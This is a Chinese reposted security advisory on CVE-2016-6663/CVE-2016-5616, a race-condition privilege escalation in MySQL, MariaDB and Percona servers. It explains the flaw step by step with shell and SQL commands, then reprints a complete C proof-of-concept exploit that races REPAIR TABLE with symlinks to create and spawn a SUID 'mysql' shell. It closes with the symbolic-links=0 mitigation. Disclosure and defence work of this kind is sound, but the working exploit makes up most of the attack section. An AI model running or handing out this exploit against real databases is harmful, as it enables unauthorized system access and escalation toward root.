加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MySql教程 > 正文

MySQL / MariaDB / PerconaDB漏洞

发布时间:2020-12-12 03:05:22 所属栏目:MySql教程 来源:网络整理
导读:《MySQL / MariaDB / PerconaDB漏洞》要点: 本文介绍了MySQL / MariaDB / PerconaDB漏洞,希望对您有用。如果有疑问,可以联系我们。 【漏洞预警】MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)(8:00更新) 漏洞发现人:Dawid Golunski 漏洞级别
MariaDB< 5.5.52< 10.1.18
< 10.0.28
MySQL<= 5.5.51<= 5.6.32
<= 5.7.14
Percona Server< 5.5.51-38.2< 5.6.32-78-1
< 5.7.14-8
Percona XtraDB Cluster< 5.6.32-25.17< 5.7.14-26.17
< 5.5.41-37.0

漏洞描述 :

Dawid Golunski在 MySQl,MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码.成功利用此漏洞,允许攻击者完全访问数据库.也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限.

漏洞细节:

基于MYSQL的数据库允许用户新建数据库,并且指定存储目录.例如:

1<p style="text-indent: 2em;">attacker@debian:~$ mkdir/tmp/disktable<br>attacker@debian:~$ chmod777 /tmp/disktable/<br>attacker@debian:~$ ls-ld /tmp/disktable/<br>drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/<br></p>

可以通过data directory参数指定存储目录为/tmp/disktable/

1<p style="text-indent: 2em;">mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM'data directory '/tmp/disktable';<br></p>

执行完成后,查看下目录权限,变为mysql

1<p style="text-indent: 2em;">attacker@debian:~$ ls-l /tmp/disktable/<br>total 0<br>-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD<br></p>

低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建.

1<p style="text-indent: 2em;">mysql> REPAIR TABLE `poctab1`;<br>+----------------+--------+----------+----------+<br>| Table | Op | Msg_type | Msg_text |<br>+----------------+--------+----------+----------+<br>| testdb.poctab1 | repair | status | OK |<br>+----------------+--------+----------+----------+<br></p>

通过查看系统调用,可以看到

1<p style="text-indent: 2em;">[pid 1463] lstat("/tmp/disktable/poctab1.MYD",{st_mode=S_IFREG|0660,st_size=0,...}) = 0<br>[pid 1463] open("/tmp/disktable/poctab1.MYD",O_RDWR) = 65<br>[pid 1463] access("./testdb/poctab1.TRG",F_OK) = -1 ENOENT (No such fileor directory)<br>[pid 1463] lseek(65,SEEK_CUR) = 0<br>[pid 1463] lseek(65,SEEK_END) = 0<br>[pid 1463] mprotect(0x7f6a3804f000,12288,PROT_READ|PROT_WRITE) = 0<br>[pid 1463] open("/tmp/disktable/poctab1.TMD",O_RDWR|O_CREAT|O_EXCL|O_TRUNC,0660) = 66<br>[pid 1463] lseek(65,SEEK_END) = 0<br>[pid 1463] lseek(64,SEEK_END) = 1024<br>[pid 1463] close(65) = 0<br>[pid 1463] close(66) = 0<br>[pid 1463] lstat("/tmp",{st_mode=S_IFDIR|S_ISVTX|0777,st_size=4096,...}) = 0<br>[pid 1463] lstat("/tmp/disktable",{st_mode=S_IFDIR|0777,...}) = 0<br>[pid 1463] lstat("/tmp/disktable/poctab1.MYD",...}) = 0<br>[pid 1463] stat("/tmp/disktable/poctab1.MYD",...}) = 0<br>[pid 1463] chmod("/tmp/disktable/poctab1.TMD",0660) = 0<br>[pid 1463] chown("/tmp/disktable/poctab1.TMD",110,115) = 0<br>[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0<br>[pid 1463] rename("/tmp/disktable/poctab1.TMD","/tmp/disktable/poctab1.MYD") = 0<br></p>

第一个系统调用是

1<p style="text-indent: 2em;">[pid 1463] lstat("/tmp/disktable/poctab1.MYD",...}) = 0<br></p>

我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限.因此在

1<p style="text-indent: 2em;">[pid 1463] lstat("/tmp/disktable/poctab1.MYD",...}) = 0<br></p>

1<p style="text-indent: 2em;">[pid 1463] chmod("/tmp/disktable/poctab1.TMD",0660) = 0<br></p>

系统调用之间,产生了条件竞争漏洞.

如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限.

攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令.这里会有一个问题,suid shell将指挥保留攻击者的UID,而不是'mysql'用户.因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限.

可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制

新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)

1<p style="text-indent: 2em;">attacker@debian:/tmp/disktable$ chmodg+s /tmp/disktable/<br>attacker@debian:/tmp/disktable$ ls-ld /tmp/disktable/<br>drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/<br></p>

通过data directory参数指定存储目录为/tmp/disktable/

1<p style="text-indent: 2em;">mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM'data directory '/tmp/disktable';<br>Query OK,0 rows affected (0.00 sec)<br></p>

再次查看/tmp/disktable/权限

1234attacker@debian:/tmp/disktable$ ls-l /tmp/disktable/total 0-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组.这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了.

漏洞验证:

MySQL / MariaDB / PerconaDB漏洞

MySQL / MariaDB / PerconaDB漏洞

POC.

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211------------------[ mysql-privesc-race.c ]--------------------/*MySQL/PerconaDB/MariaDB- Privilege Escalation / Race Condition PoC Exploitmysql-privesc-race.c (ver. 1.0)CVE-2016-6663 / OCVE-2016-5616Discovered/Codedby:Dawid Golunskidawid[at]legalhackers.com@dawid_golunskihttp://legalhackers.comCompile:gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql-lmysqlclientNote:* On RedHat-based systems you might need to change /tmpto another public directory* For testing purposes only. Do no harm. Full advisory URL:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html*/#include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH "/tmp/mysql_privesc_exploit"#define EXP_DIRN "mysql_privesc_exploit"#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessaryMYSQL *conn; //DB handlesMYSQL_RES *res;MYSQL_ROW row;unsigned long cnt;void intro() {printf( "33[94mn" "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploitn" "mysql-privesc-race.c (ver. 1.0)nn" "CVE-2016-6663 / OCVE-2016-5616nn" "For testing purposes only. Do no harm.nn""Discovered/Coded by:nn""Dawid Golunski n""http://legalhackers.com" "33[0mnn");}void usage(char *argv0) { intro(); printf("Usage:nn%s user pass db_host databasenn",argv0);}void mysql_cmd(char *sql_cmd,int silent) { if(!silent) { printf("%s n",sql_cmd); } if(mysql_query(conn,sql_cmd)) { fprintf(stderr,"%sn",mysql_error(conn)); exit(1); } res = mysql_store_result(conn); if(res>0) mysql_free_result(res);}int main(int argc,char **argv){ int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4]; //Disable buffering of stdout setvbuf(stdout,NULL,_IONBF,0); //Get the params if(argc!=5) {usage(argv[0]);exit(1); } intro(); //Show initial privileges printf("n[+] Starting the exploit as: n"); system("id"); //Connect to the database server with provided credentials printf("n[+] Connecting to the database `%s` as %s@%sn",database,user,db_host); conn = mysql_init(NULL); if(!mysql_real_connect(conn,db_host,password,0)) { fprintf(stderr,mysql_error(conn)); exit(1); } //Prepare tmp dir printf("n[+] Creating exploit temp directory %sn","/tmp/"EXP_DIRN); umask(000); system("rm -rf /tmp/"EXP_DIRN " && mkdir /tmp/"EXP_DIRN); system("chmod g+s /tmp/"EXP_DIRN ); //Prepare exploit tables :) printf("n[+] Creating mysql tables nn"); mysql_cmd("DROP TABLE IF EXISTS exploit_table",0); mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell",0); mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH "'",0); mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH "'",0); //Copy /bin/bashinto the mysql_suid_shell.MYD mysql table file //The fileshould be owned by mysql:attacker thanks to the sticky bit on the table directory printf("n[+] Copying bash into the mysql_suid_shell table.n After the exploitation the following file/table will be assigned SUID and executable bits : n"); system("cp /bin/bash "SUID_SHELL); system("ls -l "SUID_SHELL); //Use inotify to get the timing right fd = inotify_init(); if(fd < 0) { printf("failed to inotify_initn"); return-1; } ret = inotify_add_watch(fd,EXP_PATH,IN_CREATE | IN_CLOSE); /* Race loop untilthe mysql_suid_shell.MYD table filegets assigned SUID+execperms */ printf("n[+] Entering the race loop... Hang in there...n"); while( is_shell_suid != 1 ) { cnt++;if( (cnt % 100) == 0 ) { printf("->"); //fflush(stdout);} /* Create empty file,remove ifalready exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd("DROP TABLE IF EXISTS exploit_table",1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '"EXP_PATH "'",1);/* random num ifneeded */ srand ( time(NULL) ); randomnum = ( rand() % MAX_DELAY ); //Fork,to run the query asynchronously and have timeto replace table file(MYD) with a symlink pid = fork(); if(pid < 0) { fprintf(stderr,"Fork failed :(n"); } /* Child process - executes REPAIR TABLE SQL statement */ if(pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd("REPAIR TABLE exploit_table EXTENDED",1); //child stops here exit(0); } /* Parent process - aims to replace the temp .tmd table with a symlinkbefore chmod*/ if(pid > 0 ) { io_notified = 0; while(1) { int processed = 0; ret = read(fd,buf,sizeof(buf)); if(ret < 0) { break; } while(processed < ret) { event = (struct inotify_event *)(buf + processed); if(event->mask & IN_CLOSE) { if(!strcmp(event->name,"exploit_table.TMD")) { //usleep(randomnum); //Set the .MYD permissions to suid+execbefore they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open(MYSQL_TAB_FILE,O_CREAT,0777); close(myd_handle); chmod(MYSQL_TAB_FILE,04777); //Replace the temp .TMD filewith a symlinkto the target sh binary to get suid+exec unlink(MYSQL_TEMP_FILE); symlink(SUID_SHELL,MYSQL_TEMP_FILE); io_notified=1; } } processed += sizeof(struct inotify_event); } if(io_notified) { break; } } waitpid(pid,&status,0); }//Check ifSUID bit was setat the end of this attempt if( lstat(SUID_SHELL,&st) == 0 ) { if(st.st_mode & S_ISUID) {is_shell_suid = 1; } } } printf("nn[+] 33[94mBingo! Race won (took %lu tries) !33[0m Check out the 33[94mmysql SUID shell33[0m: nn",cnt); system("ls -l "SUID_SHELL); printf("n[+] Spawning the 33[94mmysql SUID shell33[0m now... n Remember that from there you can gain 33[1;31mroot33[0m with vuln 33[1;31mCVE-2016-666233[0m or 33[1;31mCVE-2016-666433[0m :)nn"); system(SUID_SHELL " -p -i "); //system(SUID_SHELL " -p -c '/bin/bash -i -p'"); /* close MySQL connection and exit*/ printf("n[+] Job done. Exitingnn"); mysql_close(conn); return0;}

视频参考(作者随后上传):

http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html

临时解决办法:

在my.cnf中添加

symbolic-links = 0

参考链接:

http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

欢迎参与《MySQL / MariaDB / PerconaDB漏洞》讨论,分享您的想法,编程之家PHP学院为您提供专业教程。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

《MySQL / MariaDB / PerconaDB漏洞》要点:
本文介绍了MySQL / MariaDB / PerconaDB漏洞,希望对您有用。如果有疑问,可以联系我们。

【漏洞预警】MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)(8:00更新)

MySQL / MariaDB / PerconaDB漏洞

漏洞发现人:Dawid Golunski

漏洞级别:严重

CVE编号 :CVE-2016-6663 / CVE-2016-5616

漏洞影响:

    推荐文章
      热点阅读